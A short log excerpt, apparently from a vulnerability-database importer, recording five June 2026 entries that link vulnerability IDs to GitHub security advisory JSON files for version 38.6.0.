2026-06-04T17:01:07.679629+00:00 GithubOSV Importer Fixing VCID-fvm6-q98f-ukeb https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-wxrr-jp8m-qq7f/GHSA-wxrr-jp8m-qq7f.json 38.6.0
2026-06-04T17:01:02.307636+00:00 GithubOSV Importer Fixing VCID-nvn6-cx9m-ebd8 https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-7j65-65cr-6644/GHSA-7j65-65cr-6644.json 38.6.0
2026-06-04T17:00:46.576998+00:00 GithubOSV Importer Fixing VCID-xaed-rw4w-1ueg https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-7g73-99r4-m4mj/GHSA-7g73-99r4-m4mj.json 38.6.0
2026-06-04T17:00:42.900589+00:00 GithubOSV Importer Fixing VCID-y6ma-3sqr-17ct https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-6fw7-3q8r-m5vj/GHSA-6fw7-3q8r-m5vj.json 38.6.0
2026-06-04T17:00:41.440811+00:00 GithubOSV Importer Fixing VCID-bzwr-tg6h-eqec https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-59fh-9f3p-7m39/GHSA-59fh-9f3p-7m39.json 38.6.0